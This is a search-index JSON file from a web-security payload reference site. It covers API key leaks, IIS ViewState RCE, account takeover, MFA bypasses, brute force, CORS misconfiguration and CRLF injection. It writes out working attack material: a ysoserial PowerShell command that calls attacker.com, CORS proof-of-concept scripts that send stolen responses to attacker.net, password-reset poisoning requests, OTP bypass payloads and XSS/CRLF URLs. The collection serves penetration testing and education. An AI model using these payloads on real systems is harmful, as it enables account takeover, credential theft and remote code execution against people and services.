{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Payloads All The Things","text":"

A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques!

You can also contribute with a IRL, or using the sponsor button.

An alternative display version is available at PayloadsAllTheThingsWeb.

"},{"location":"#documentation","title":"Documentation","text":"

Every section contains the following files, you can use the _template_vuln folder to create a new chapter:

You might also like the other projects from the AllTheThings family :

You want more? Check the Books and YouTube channel selections.

"},{"location":"#contributions","title":"Contributions","text":"

Be sure to read CONTRIBUTING.md

Thanks again for your contribution!

"},{"location":"#sponsors","title":"Sponsors","text":"

This project is proudly sponsored by these companies.

Logo Description SerpApi is a real time API to access Google search results. It solves the issues of having to rent proxies, solving captchas, and JSON parsing. ProjectDiscovery - Detect real, exploitable vulnerabilities. Harness the power of Nuclei for fast and accurate findings without false positives. VAADATA - Ethical Hacking Services"},{"location":"CONTRIBUTING/","title":"CONTRIBUTING","text":"

PayloadsAllTheThings' Team pull requests.

Feel free to improve with your payloads and techniques !

You can also contribute with a IRL, or using the sponsor button.

"},{"location":"CONTRIBUTING/#pull-requests-guidelines","title":"Pull Requests Guidelines","text":"

In order to provide the safest payloads for the community, the following rules must be followed for every Pull Request.

Every pull request will be checked with markdownlint to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:

docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 \"**/*.md\" --config .github/.markdownlint.json --fix\n
"},{"location":"CONTRIBUTING/#techniques-folder","title":"Techniques Folder","text":"

Every section should contains the following files, you can use the _template_vuln folder to create a new technique folder:

"},{"location":"CONTRIBUTING/#readmemd-format","title":"README.md Format","text":"

Use the example folder _template_vuln/ to create a new vulnerability document. The main page is README.md. It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.

"},{"location":"DISCLAIMER/","title":"DISCLAIMER","text":"

The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.

By accessing and using this repository, you agree to:

Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

"},{"location":"API%20Key%20Leaks/","title":"API Key and Token Leaks","text":"

API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

"},{"location":"API%20Key%20Leaks/#summary","title":"Summary","text":""},{"location":"API%20Key%20Leaks/#tools","title":"Tools","text":""},{"location":"API%20Key%20Leaks/#methodology","title":"Methodology","text":""},{"location":"API%20Key%20Leaks/#common-causes-of-leaks","title":"Common Causes of Leaks","text":""},{"location":"API%20Key%20Leaks/#validate-the-api-key","title":"Validate The API Key","text":"

If assistance is needed in identifying the service that generated the token, mazen160/secrets-patterns-db can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

patterns:\n  - pattern:\n      name: AWS API Gateway\n      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'\n      confidence: low\n  - pattern:\n      name: AWS API Key\n      regex: AKIA[0-9A-Z]{16}\n      confidence: high\n

Use streaak/keyhacks or read the documentation of the service to find a quick way to verify the validity of an API key.

"},{"location":"API%20Key%20Leaks/#reducing-the-attack-surface","title":"Reducing The Attack Surface","text":"

Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.

Add these lines to your .pre-commit-config.yaml file.

-   repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v3.2.0\n    hooks:\n    -   id: detect-aws-credentials\n    -   id: detect-private-key\n
"},{"location":"API%20Key%20Leaks/#references","title":"References","text":""},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/","title":"IIS Machine Keys","text":"

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#summary","title":"Summary","text":""},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#viewstate-format","title":"Viewstate Format","text":"

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

Format Properties Base64 EnableViewStateMac=False, ViewStateEncryptionMode=False Base64 + MAC EnableViewStateMac=True Base64 + Encrypted ViewStateEncryptionMode=True

By default until Sept 2014, the enableViewStateMac property was to set to False. Usually unencrypted viewstate are starting with the string /wEP.

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#machine-key-format-and-locations","title":"Machine Key Format And Locations","text":"

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

The format of a machineKey is the following.

<machineKey validationKey=\"[String]\"  decryptionKey=\"[String]\" validation=\"[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]\"  decryption=\"[Auto (default) | DES | 3DES | AES | alg:algorithm_name]\" />\n

The validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.

The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.

The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.

The decryption attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.

The following example of a machineKey is from Microsoft documentation.

<machineKey validationKey=\"87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC\" decryptionKey=\"E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7\" validation=\"SHA1\" />\n

Common locations of web.config / machine.config

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#identify-known-machine-key","title":"Identify Known Machine Key","text":"

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.

List of interesting machine keys to use:

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#decode-viewstate","title":"Decode ViewState","text":""},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#generate-viewstate-for-rce","title":"Generate ViewState For RCE","text":"

First you need to decode the Viewstate to know if the MAC and the encryption are enabled.

Requirements:

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#mac-is-not-enabled","title":"MAC Is Not Enabled","text":"
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c \"powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName\"\n
"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#mac-is-enabled-and-encryption-is-disabled","title":"MAC Is Enabled And Encryption Is Disabled","text":""},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#mac-is-enabled-and-encryption-is-enabled","title":"MAC Is Enabled And Encryption Is Enabled","text":"

Default validation algorithm is HMACSHA256 and the default decryption algorithm is AES.

If the __VIEWSTATEGENERATOR is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: --apppath=\"/testaspx/\").

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#edit-cookies-with-the-machine-key","title":"Edit Cookies With The Machine Key","text":"

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : liquidsec/aspnetCryptTools

# decrypt cookie\n$ AspDotNetWrapper.exe --keypath C:\\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes\n\n# encrypt cookie (edit Decrypted.txt)\n$ AspDotNetWrapper.exe --decryptDataFilePath C:\\DecryptedText.txt\n
"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#references","title":"References","text":""},{"location":"Account%20Takeover/","title":"Account Takeover","text":"

Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

"},{"location":"Account%20Takeover/#summary","title":"Summary","text":""},{"location":"Account%20Takeover/#password-reset-feature","title":"Password Reset Feature","text":""},{"location":"Account%20Takeover/#password-reset-token-leak-via-referrer","title":"Password Reset Token Leak via Referrer","text":"
  1. Request password reset to your email address
  2. Click on the password reset link
  3. Don't change password
  4. Click any 3rd party websites(e.g., Facebook, twitter)
  5. Intercept the request in Burp Suite proxy
  6. Check if the referer header is leaking password reset token.
"},{"location":"Account%20Takeover/#account-takeover-through-password-reset-poisoning","title":"Account Takeover Through Password Reset Poisoning","text":"
  1. Intercept the password reset request in Burp Suite
  2. Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Forward the request with the modified header

    POST https://example.com/reset.php HTTP/1.1\nAccept: */*\nContent-Type: application/json\nHost: attacker.com\n
  4. Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN

"},{"location":"Account%20Takeover/#password-reset-via-email-parameter","title":"Password Reset via Email Parameter","text":"
# parameter pollution\nemail=victim@mail.com&email=hacker@mail.com\n\n# array of emails\n{\"email\":[\"victim@mail.com\",\"hacker@mail.com\"]}\n\n# carbon copy\nemail=victim@mail.com%0A%0Dcc:hacker@mail.com\nemail=victim@mail.com%0A%0Dbcc:hacker@mail.com\n\n# separator\nemail=victim@mail.com,hacker@mail.com\nemail=victim@mail.com%20hacker@mail.com\nemail=victim@mail.com|hacker@mail.com\n
"},{"location":"Account%20Takeover/#idor-on-api-parameters","title":"IDOR on API Parameters","text":"
  1. Attacker have to login with their account and go to the Change password feature.
  2. Start the Burp Suite and Intercept the request
  3. Send it to the repeater tab and edit the parameters : User ID/email

    POST /api/changepass\n[...]\n(\"form\": {\"email\":\"victim@email.com\",\"password\":\"securepwd\"})\n
"},{"location":"Account%20Takeover/#weak-password-reset-token","title":"Weak Password Reset Token","text":"

The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

"},{"location":"Account%20Takeover/#leaking-password-reset-token","title":"Leaking Password Reset Token","text":"
  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
"},{"location":"Account%20Takeover/#password-reset-via-username-collision","title":"Password Reset via Username Collision","text":"
  1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: \"admin \"
  2. Request a password reset with your malicious username.
  3. Use the token sent to your email and reset the victim password.
  4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack. See: CVE-2020-7245

"},{"location":"Account%20Takeover/#account-takeover-due-to-unicode-normalization-issue","title":"Account Takeover Due To Unicode Normalization Issue","text":"

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.

Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character.

Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.

"},{"location":"Account%20Takeover/#account-takeover-via-web-vulnerabilities","title":"Account Takeover via Web Vulnerabilities","text":""},{"location":"Account%20Takeover/#account-takeover-via-cross-site-scripting","title":"Account Takeover via Cross Site Scripting","text":"
  1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
  2. Leak the current sessions cookie
  3. Authenticate as the user using the cookie
"},{"location":"Account%20Takeover/#account-takeover-via-http-request-smuggling","title":"Account Takeover via HTTP Request Smuggling","text":"

Refer to HTTP Request Smuggling vulnerability page.

  1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

    git clone https://github.com/defparam/smuggler.git\ncd smuggler\npython3 smuggler.py -h\n
  2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:

    GET http://something.burpcollaborator.net  HTTP/1.1\nX: \n
  3. Final request could look like the following

    GET /  HTTP/1.1\nTransfer-Encoding: chunked\nHost: something.com\nUser-Agent: Smuggler/v1.0\nContent-Length: 83\n\n0\n\nGET http://something.burpcollaborator.net  HTTP/1.1\nX: X\n

Hackerone reports exploiting this bug

"},{"location":"Account%20Takeover/#account-takeover-via-csrf","title":"Account Takeover via CSRF","text":"
  1. Create a payload for the CSRF, e.g: \"HTML form with auto submit for a password change\"
  2. Send the payload
"},{"location":"Account%20Takeover/#account-takeover-via-jwt","title":"Account Takeover via JWT","text":"

JSON Web Token might be used to authenticate an user.

"},{"location":"Account%20Takeover/#references","title":"References","text":""},{"location":"Account%20Takeover/mfa-bypass/","title":"MFA Bypasses","text":"

Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

"},{"location":"Account%20Takeover/mfa-bypass/#summary","title":"Summary","text":""},{"location":"Account%20Takeover/mfa-bypass/#2fa-bypasses","title":"2FA Bypasses","text":""},{"location":"Account%20Takeover/mfa-bypass/#response-manipulation","title":"Response Manipulation","text":"

If response is \"success\":false Change it to \"success\":true

"},{"location":"Account%20Takeover/mfa-bypass/#status-code-manipulation","title":"Status Code Manipulation","text":"

If Status Code is 4xx Try changing it to 200 OK and see if it bypass restrictions

"},{"location":"Account%20Takeover/mfa-bypass/#2fa-code-leakage-in-response","title":"2FA Code Leakage in Response","text":"

Check the response of the 2FA Code Triggering Request for leaked code.

"},{"location":"Account%20Takeover/mfa-bypass/#js-file-analysis","title":"JS File Analysis","text":"

Rare but some JS Files may contain info about the 2FA Code, worth giving a shot

"},{"location":"Account%20Takeover/mfa-bypass/#2fa-code-reusability","title":"2FA Code Reusability","text":"

Same code can be reused

"},{"location":"Account%20Takeover/mfa-bypass/#lack-of-brute-force-protection","title":"Lack of Brute-Force Protection","text":"

Possible to brute-force any length 2FA Code

"},{"location":"Account%20Takeover/mfa-bypass/#missing-2fa-code-integrity-validation","title":"Missing 2FA Code Integrity Validation","text":"

Code for any user account can be used to bypass the 2FA

"},{"location":"Account%20Takeover/mfa-bypass/#csrf-on-2fa-disabling","title":"CSRF on 2FA Disabling","text":"

No CSRF Protection on disabling 2FA, also there is no auth confirmation

"},{"location":"Account%20Takeover/mfa-bypass/#password-reset-disable-2fa","title":"Password Reset Disable 2FA","text":"

2FA gets disabled on password change/email change

"},{"location":"Account%20Takeover/mfa-bypass/#backup-code-abuse","title":"Backup Code Abuse","text":"

Bypassing 2FA by abusing the Backup code feature Use the above-mentioned techniques to bypass the Backup Code to remove/reset 2FA restrictions

"},{"location":"Account%20Takeover/mfa-bypass/#clickjacking-on-2fa-disabling-page","title":"Clickjacking on 2FA Disabling Page","text":"

Iframing the 2FA Disabling page and social engineering victim to disable the 2FA

"},{"location":"Account%20Takeover/mfa-bypass/#enabling-2fa-doesnt-expire-previously-active-sessions","title":"Enabling 2FA doesn't expire Previously active Sessions","text":"

If the session is already hijacked and there is a session timeout vulnerability

"},{"location":"Account%20Takeover/mfa-bypass/#bypass-2fa-by-force-browsing","title":"Bypass 2FA by Force Browsing","text":"

If the application redirects to /my-account url upon login while 2FA is disabled, try replacing /2fa/verify with /my-account while 2FA is enabled to bypass verification.

"},{"location":"Account%20Takeover/mfa-bypass/#bypass-2fa-with-null-or-000000","title":"Bypass 2FA with null or 000000","text":"

Enter the code 000000 or null to bypass 2FA protection.

"},{"location":"Account%20Takeover/mfa-bypass/#bypass-2fa-with-array","title":"Bypass 2FA with array","text":"
{\n    \"otp\":[\n        \"1234\",\n        \"1111\",\n        \"1337\", // GOOD OTP\n        \"2222\",\n        \"3333\",\n        \"4444\",\n        \"5555\"\n    ]\n}\n
"},{"location":"Brute%20Force%20Rate%20Limit/","title":"Brute Force & Rate Limit","text":""},{"location":"Brute%20Force%20Rate%20Limit/#summary","title":"Summary","text":""},{"location":"Brute%20Force%20Rate%20Limit/#tools","title":"Tools","text":""},{"location":"Brute%20Force%20Rate%20Limit/#bruteforce","title":"Bruteforce","text":"

In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.

For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.

Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.

"},{"location":"Brute%20Force%20Rate%20Limit/#burp-suite-intruder","title":"Burp Suite Intruder","text":""},{"location":"Brute%20Force%20Rate%20Limit/#ffuf","title":"FFUF","text":"
ffuf -w usernames.txt:USER -w passwords.txt:PASS \\\n     -u https://target.tld/login \\\n     -X POST -d \"username=USER&password=PASS\" \\\n     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n     -H \"X-Forwarded-For: FUZZ\" -w ipv4-list.txt:FUZZ \\\n     -mc all\n
"},{"location":"Brute%20Force%20Rate%20Limit/#rate-limit","title":"Rate Limit","text":""},{"location":"Brute%20Force%20Rate%20Limit/#http-pipelining","title":"HTTP Pipelining","text":"

HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client \"pipes\" requests one after another over the same connection.

"},{"location":"Brute%20Force%20Rate%20Limit/#tls-stack-ja3","title":"TLS Stack - JA3","text":"

JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS \"hello\" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.

JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a \",\" to delimit each field and a \"-\" to delimit each value in each field.

Countermeasures:

"},{"location":"Brute%20Force%20Rate%20Limit/#network-ipv4","title":"Network IPv4","text":"

Use multiple proxies to simulate multiple clients.

proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ\n
"},{"location":"Brute%20Force%20Rate%20Limit/#network-ipv6","title":"Network IPv6","text":"

Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.

"},{"location":"Brute%20Force%20Rate%20Limit/#references","title":"References","text":""},{"location":"Business%20Logic%20Errors/","title":"Business Logic Errors","text":"

Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.

"},{"location":"Business%20Logic%20Errors/#summary","title":"Summary","text":""},{"location":"Business%20Logic%20Errors/#methodology","title":"Methodology","text":"

Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.

Common examples of Business Logic Errors.

"},{"location":"Business%20Logic%20Errors/#review-feature-testing","title":"Review Feature Testing","text":""},{"location":"Business%20Logic%20Errors/#discount-code-feature-testing","title":"Discount Code Feature Testing","text":""},{"location":"Business%20Logic%20Errors/#delivery-fee-manipulation","title":"Delivery Fee Manipulation","text":""},{"location":"Business%20Logic%20Errors/#currency-arbitrage","title":"Currency Arbitrage","text":""},{"location":"Business%20Logic%20Errors/#premium-feature-exploitation","title":"Premium Feature Exploitation","text":""},{"location":"Business%20Logic%20Errors/#refund-feature-exploitation","title":"Refund Feature Exploitation","text":""},{"location":"Business%20Logic%20Errors/#cartwishlist-exploitation","title":"Cart/Wishlist Exploitation","text":""},{"location":"Business%20Logic%20Errors/#thread-comment-testing","title":"Thread Comment Testing","text":""},{"location":"Business%20Logic%20Errors/#rounding-error","title":"Rounding Error","text":"

The report hackerone #176461 describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.

The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.

The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.

In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.

"},{"location":"Business%20Logic%20Errors/#references","title":"References","text":""},{"location":"CORS%20Misconfiguration/","title":"CORS Misconfiguration","text":"

A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker's site using the victim's credentials.

"},{"location":"CORS%20Misconfiguration/#summary","title":"Summary","text":""},{"location":"CORS%20Misconfiguration/#tools","title":"Tools","text":""},{"location":"CORS%20Misconfiguration/#requirements","title":"Requirements","text":""},{"location":"CORS%20Misconfiguration/#methodology","title":"Methodology","text":"

Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target https://victim.example.com/endpoint.

"},{"location":"CORS%20Misconfiguration/#origin-reflection","title":"Origin Reflection","text":""},{"location":"CORS%20Misconfiguration/#vulnerable-implementation","title":"Vulnerable Implementation","text":"
GET /endpoint HTTP/1.1\nHost: victim.example.com\nOrigin: https://evil.com\nCookie: sessionid=... \n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true \n\n{\"[private API key]\"}\n
"},{"location":"CORS%20Misconfiguration/#proof-of-concept","title":"Proof Of Concept","text":"

This PoC requires that the respective JS script is hosted at evil.com

var req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://victim.example.com/endpoint',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//attacker.net/log?key='+this.responseText; \n};\n

or

<html>\n     <body>\n         <h2>CORS PoC</h2>\n         <div id=\"demo\">\n             <button type=\"button\" onclick=\"cors()\">Exploit</button>\n         </div>\n         <script>\n             function cors() {\n             var xhr = new XMLHttpRequest();\n             xhr.onreadystatechange = function() {\n                 if (this.readyState == 4 && this.status == 200) {\n                 document.getElementById(\"demo\").innerHTML = alert(this.responseText);\n                 }\n             };\n              xhr.open(\"GET\",\n                       \"https://victim.example.com/endpoint\", true);\n             xhr.withCredentials = true;\n             xhr.send();\n             }\n         </script>\n     </body>\n </html>\n
"},{"location":"CORS%20Misconfiguration/#null-origin","title":"Null Origin","text":""},{"location":"CORS%20Misconfiguration/#vulnerable-implementation_1","title":"Vulnerable Implementation","text":"

It's possible that the server does not reflect the complete Origin header but that the null origin is allowed. This would look like this in the server's response:

GET /endpoint HTTP/1.1\nHost: victim.example.com\nOrigin: null\nCookie: sessionid=... \n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: null\nAccess-Control-Allow-Credentials: true \n\n{\"[private API key]\"}\n
"},{"location":"CORS%20Misconfiguration/#proof-of-concept_1","title":"Proof Of Concept","text":"

This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the null origin in the request:

<iframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text/html, <script>\n  var req = new XMLHttpRequest();\n  req.onload = reqListener;\n  req.open('get','https://victim.example.com/endpoint',true);\n  req.withCredentials = true;\n  req.send();\n\n  function reqListener() {\n    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);\n   };\n</script>\"></iframe> \n
"},{"location":"CORS%20Misconfiguration/#xss-on-trusted-origin","title":"XSS on Trusted Origin","text":"

If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again.

https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>\n
"},{"location":"CORS%20Misconfiguration/#wildcard-origin-without-credentials","title":"Wildcard Origin without Credentials","text":"

If the server responds with a wildcard origin *, the browser does never send the cookies. However, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data without authentication.

* is the only wildcard origin\nhttps://*.example.com is not valid\n
"},{"location":"CORS%20Misconfiguration/#vulnerable-implementation_2","title":"Vulnerable Implementation","text":"
GET /endpoint HTTP/1.1\nHost: api.internal.example.com\nOrigin: https://evil.com\n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n\n{\"[private API key]\"}\n
"},{"location":"CORS%20Misconfiguration/#proof-of-concept_2","title":"Proof Of Concept","text":"
var req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://api.internal.example.com/endpoint',true); \nreq.send();\n\nfunction reqListener() {\n    location='//attacker.net/log?key='+this.responseText; \n};\n
"},{"location":"CORS%20Misconfiguration/#expanding-the-origin","title":"Expanding the Origin","text":"

Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.

"},{"location":"CORS%20Misconfiguration/#vulnerable-implementation-example-1","title":"Vulnerable Implementation (Example 1)","text":"

In this scenario any prefix inserted in front of example.com will be accepted by the server.

GET /endpoint HTTP/1.1\nHost: api.example.com\nOrigin: https://evilexample.com\n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://evilexample.com\nAccess-Control-Allow-Credentials: true \n\n{\"[private API key]\"}\n
"},{"location":"CORS%20Misconfiguration/#proof-of-concept-example-1","title":"Proof of Concept (Example 1)","text":"

This PoC requires the respective JS script to be hosted at evilexample.com

var req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://api.example.com/endpoint',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//attacker.net/log?key='+this.responseText; \n};\n
"},{"location":"CORS%20Misconfiguration/#vulnerable-implementation-example-2","title":"Vulnerable Implementation (Example 2)","text":"

In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: ^api.example.com$ instead of ^api\\.example.com$. Thus, the dot can be replaced with any letter to gain access from a third-party domain.

GET /endpoint HTTP/1.1\nHost: api.example.com\nOrigin: https://apiiexample.com\n\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://apiiexample.com\nAccess-Control-Allow-Credentials: true \n\n{\"[private API key]\"}\n
"},{"location":"CORS%20Misconfiguration/#proof-of-concept-example-2","title":"Proof of concept (Example 2)","text":"

This PoC requires the respective JS script to be hosted at apiiexample.com

var req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://api.example.com/endpoint',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//attacker.net/log?key='+this.responseText; \n};\n
"},{"location":"CORS%20Misconfiguration/#labs","title":"Labs","text":""},{"location":"CORS%20Misconfiguration/#references","title":"References","text":""},{"location":"CRLF%20Injection/","title":"Carriage Return Line Feed","text":"

CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\\r) and Line Feed (LF) (\\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

"},{"location":"CRLF%20Injection/#summary","title":"Summary","text":""},{"location":"CRLF%20Injection/#methodology","title":"Methodology","text":"

HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.

CRLF Characters:

By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:

"},{"location":"CRLF%20Injection/#session-fixation","title":"Session Fixation","text":"

A typical HTTP response header looks like this:

HTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=abc123\n

If user input value\\r\\nSet-Cookie: admin=true is embedded into the headers without sanitization:

HTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=value\nSet-Cookie: admin=true\n

Now the attacker has set their own cookie.

"},{"location":"CRLF%20Injection/#cross-site-scripting","title":"Cross Site Scripting","text":"

Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).

Requested page:

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E\n

HTTP response:

Set-Cookie:en\nContent-Length: 0\n\nHTTP/1.1 200 OK\nContent-Type: text/html\nLast-Modified: Mon, 27 Oct 2060 14:50:18 GMT\nContent-Length: 34\n\n<html>You have been Phished</html>\n

In the case of an XSS, the CRLF injection allows to inject the X-XSS-Protection header with the value value \"0\", to disable it. And then we can add our HTML tag containing Javascript code .

Requested page:

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e\n

HTTP Response:

